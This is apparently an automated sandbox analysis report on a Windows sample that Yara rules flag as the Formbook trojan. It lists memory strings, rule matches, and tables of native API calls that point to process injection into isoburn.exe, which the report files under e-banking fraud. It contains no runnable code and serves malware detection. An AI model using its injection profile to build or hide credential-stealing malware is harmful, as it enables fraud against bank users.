Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/terms-of-service/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/algemene-voorwaarden/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/knowledgebase/zoeken/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/privacy-policy/
Source: UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/services/search-domains/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/vragen/110000534/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/vragen/110000572
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/vragen/110000580/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/vragen/198/

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.WrrCV4QR2J.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.WrrCV4QR2J.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

.NET source code contains very large array initializations

Source: 0.2.WrrCV4QR2J.exe.2ea469c.3.raw.unpack, -Module-.cs	Large array initialization: _200F_206E_202A_202D_206F_206B_202A_202D_206D_200F_206F_200E_202A_200C_200C_206C_202D_206F_202E_206D_200E_206D_200E_200F_202B_202B_200F_200E_200C_206D_202A_202A_202D_200F_202E_202B_202C_202A_200C_200F_202E: array initializer size 2192
Source: 0.2.WrrCV4QR2J.exe.5ac0000.6.raw.unpack, -Module-.cs	Large array initialization: _200F_206E_202A_202D_206F_206B_202A_202D_206D_200F_206F_200E_202A_200C_200C_206C_202D_206F_202E_206D_200E_206D_200E_200F_202B_202B_200F_200E_200C_206D_202A_202A_202D_200F_202E_202B_202C_202A_200C_200F_202E: array initializer size 2192

Source: C:\Windows\SysWOW64\isoburn.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040A953 NtMapViewOfSection,	2_2_0040A953
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040A123 NtSetContextThread,	2_2_0040A123
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040B213 NtDelayExecution,	2_2_0040B213
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040AB73 NtCreateFile,	2_2_0040AB73
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040A323 NtResumeThread,	2_2_0040A323
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00428453 NtClose,	2_2_00428453
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00409D23 NtSuspendThread,	2_2_00409D23
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040ADA3 NtReadFile,	2_2_0040ADA3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040B623 NtAllocateVirtualMemory,	2_2_0040B623
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00409F23 NtGetContextThread,	2_2_00409F23
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040A733 NtCreateSection,	2_2_0040A733
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2B60 NtClose,LdrInitializeThunk,	2_2_015B2B60
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_015B2DF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_015B2C70
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B35C0 NtCreateMutant,LdrInitializeThunk,	2_2_015B35C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B4340 NtSetContextThread,	2_2_015B4340
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B4650 NtSuspendThread,	2_2_015B4650
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2BF0 NtAllocateVirtualMemory,	2_2_015B2BF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2BE0 NtQueryValueKey,	2_2_015B2BE0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2B80 NtQueryInformationFile,	2_2_015B2B80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2BA0 NtEnumerateValueKey,	2_2_015B2BA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2AD0 NtReadFile,	2_2_015B2AD0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2AF0 NtWriteFile,	2_2_015B2AF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2AB0 NtWaitForSingleObject,	2_2_015B2AB0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2D10 NtMapViewOfSection,	2_2_015B2D10
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2D00 NtSetInformationFile,	2_2_015B2D00
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2D30 NtUnmapViewOfSection,	2_2_015B2D30
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2DD0 NtDelayExecution,	2_2_015B2DD0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2DB0 NtEnumerateKey,	2_2_015B2DB0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2C60 NtCreateKey,	2_2_015B2C60
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2C00 NtQueryInformationProcess,	2_2_015B2C00
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2CC0 NtQueryVirtualMemory,	2_2_015B2CC0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2CF0 NtOpenProcess,	2_2_015B2CF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2CA0 NtQueryInformationToken,	2_2_015B2CA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2F60 NtCreateProcessEx,	2_2_015B2F60
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2F30 NtCreateSection,	2_2_015B2F30
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2FE0 NtCreateFile,	2_2_015B2FE0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2F90 NtProtectVirtualMemory,	2_2_015B2F90
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2FB0 NtResumeThread,	2_2_015B2FB0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2FA0 NtQuerySection,	2_2_015B2FA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2E30 NtWriteVirtualMemory,	2_2_015B2E30
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2EE0 NtQueueApcThread,	2_2_015B2EE0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2E80 NtReadVirtualMemory,	2_2_015B2E80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B2EA0 NtAdjustPrivilegesToken,	2_2_015B2EA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B3010 NtOpenDirectoryObject,	2_2_015B3010
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B3090 NtSetValueKey,	2_2_015B3090
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B39B0 NtGetContextThread,	2_2_015B39B0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B3D70 NtOpenThread,	2_2_015B3D70
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B3D10 NtOpenProcessToken,	2_2_015B3D10
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D4650 NtSuspendThread,LdrInitializeThunk,	4_2_049D4650
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D4340 NtSetContextThread,LdrInitializeThunk,	4_2_049D4340
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_049D2CA0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_049D2C70
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2C60 NtCreateKey,LdrInitializeThunk,	4_2_049D2C60
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2DD0 NtDelayExecution,LdrInitializeThunk,	4_2_049D2DD0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_049D2DF0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_049D2D10
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_049D2D30
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2E80 NtReadVirtualMemory,LdrInitializeThunk,	4_2_049D2E80
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_049D2EE0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2FB0 NtResumeThread,LdrInitializeThunk,	4_2_049D2FB0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2FE0 NtCreateFile,LdrInitializeThunk,	4_2_049D2FE0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2F30 NtCreateSection,LdrInitializeThunk,	4_2_049D2F30
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2AD0 NtReadFile,LdrInitializeThunk,	4_2_049D2AD0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2AF0 NtWriteFile,LdrInitializeThunk,	4_2_049D2AF0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2BA0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_049D2BA0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_049D2BF0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2BE0 NtQueryValueKey,LdrInitializeThunk,	4_2_049D2BE0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2B60 NtClose,LdrInitializeThunk,	4_2_049D2B60
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D35C0 NtCreateMutant,LdrInitializeThunk,	4_2_049D35C0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D39B0 NtGetContextThread,LdrInitializeThunk,	4_2_049D39B0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2CC0 NtQueryVirtualMemory,	4_2_049D2CC0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2CF0 NtOpenProcess,	4_2_049D2CF0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2C00 NtQueryInformationProcess,	4_2_049D2C00
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2DB0 NtEnumerateKey,	4_2_049D2DB0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2D00 NtSetInformationFile,	4_2_049D2D00
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2EA0 NtAdjustPrivilegesToken,	4_2_049D2EA0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2E30 NtWriteVirtualMemory,	4_2_049D2E30
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2F90 NtProtectVirtualMemory,	4_2_049D2F90
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2FA0 NtQuerySection,	4_2_049D2FA0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2F60 NtCreateProcessEx,	4_2_049D2F60
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2AB0 NtWaitForSingleObject,	4_2_049D2AB0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D2B80 NtQueryInformationFile,	4_2_049D2B80
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D3090 NtSetValueKey,	4_2_049D3090
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D3010 NtOpenDirectoryObject,	4_2_049D3010
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D3D10 NtOpenProcessToken,	4_2_049D3D10
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D3D70 NtOpenThread,	4_2_049D3D70
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028F4F10 NtCreateFile,	4_2_028F4F10
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028F52C0 NtAllocateVirtualMemory,	4_2_028F52C0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028F5040 NtReadFile,	4_2_028F5040
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028F5180 NtClose,	4_2_028F5180
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028F5100 NtDeleteFile,	4_2_028F5100

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB1178	0_2_02DB1178
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB1D60	0_2_02DB1D60
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB21C8	0_2_02DB21C8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB21B7	0_2_02DB21B7
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB1168	0_2_02DB1168
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB0BC8	0_2_02DB0BC8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB0BB9	0_2_02DB0BB9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB1D50	0_2_02DB1D50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02E3E72C	0_2_02E3E72C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02E37448	0_2_02E37448
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00401000	2_2_00401000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040280B	2_2_0040280B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00402810	2_2_00402810
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040112B	2_2_0040112B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00401130	2_2_00401130
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00410133	2_2_00410133
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040E1B3	2_2_0040E1B3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00401280	2_2_00401280
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00402BC9	2_2_00402BC9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00402C40	2_2_00402C40
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00416443	2_2_00416443
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00402C3D	2_2_00402C3D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0041643E	2_2_0041643E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00402520	2_2_00402520
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040FF0A	2_2_0040FF0A
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040FF13	2_2_0040FF13
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00402FC0	2_2_00402FC0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0042A7E3	2_2_0042A7E3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01608158	2_2_01608158
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570100	2_2_01570100
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161A118	2_2_0161A118
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016381CC	2_2_016381CC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016401AA	2_2_016401AA
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163A352	2_2_0163A352
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016403E6	2_2_016403E6
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E3F0	2_2_0158E3F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016002C0	2_2_016002C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580535	2_2_01580535
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01640591	2_2_01640591
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01632446	2_2_01632446
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0162E4F6	2_2_0162E4F6
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A4750	2_2_015A4750
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580770	2_2_01580770
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157C7C0	2_2_0157C7C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159C6E0	2_2_0159C6E0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01596962	2_2_01596962
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0164A9A6	2_2_0164A9A6
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015829A0	2_2_015829A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158A840	2_2_0158A840
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01582840	2_2_01582840
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AE8F0	2_2_015AE8F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015668B8	2_2_015668B8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163AB40	2_2_0163AB40
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01636BD7	2_2_01636BD7
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158AD00	2_2_0158AD00
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161CD1F	2_2_0161CD1F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157ADE0	2_2_0157ADE0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01598DBF	2_2_01598DBF
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580C00	2_2_01580C00
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570CF2	2_2_01570CF2
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620CB5	2_2_01620CB5
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F4F40	2_2_015F4F40
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01622F30	2_2_01622F30
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A0F30	2_2_015A0F30
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015C2F28	2_2_015C2F28
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01572FC8	2_2_01572FC8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015FEFA0	2_2_015FEFA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580E59	2_2_01580E59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163EE26	2_2_0163EE26
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163EEDB	2_2_0163EEDB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01592E90	2_2_01592E90
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163CE93	2_2_0163CE93
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0164B16B	2_2_0164B16B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156F172	2_2_0156F172
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B516C	2_2_015B516C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158B1B0	2_2_0158B1B0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163F0E0	2_2_0163F0E0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016370E9	2_2_016370E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015870C0	2_2_015870C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0162F0CC	2_2_0162F0CC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156D34C	2_2_0156D34C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163132D	2_2_0163132D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015C739A	2_2_015C739A
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016212ED	2_2_016212ED
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159B2C0	2_2_0159B2C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159D2F0	2_2_0159D2F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015852A0	2_2_015852A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01637571	2_2_01637571
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161D5B0	2_2_0161D5B0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01571460	2_2_01571460
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163F43F	2_2_0163F43F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163F7B0	2_2_0163F7B0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016316CC	2_2_016316CC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01589950	2_2_01589950
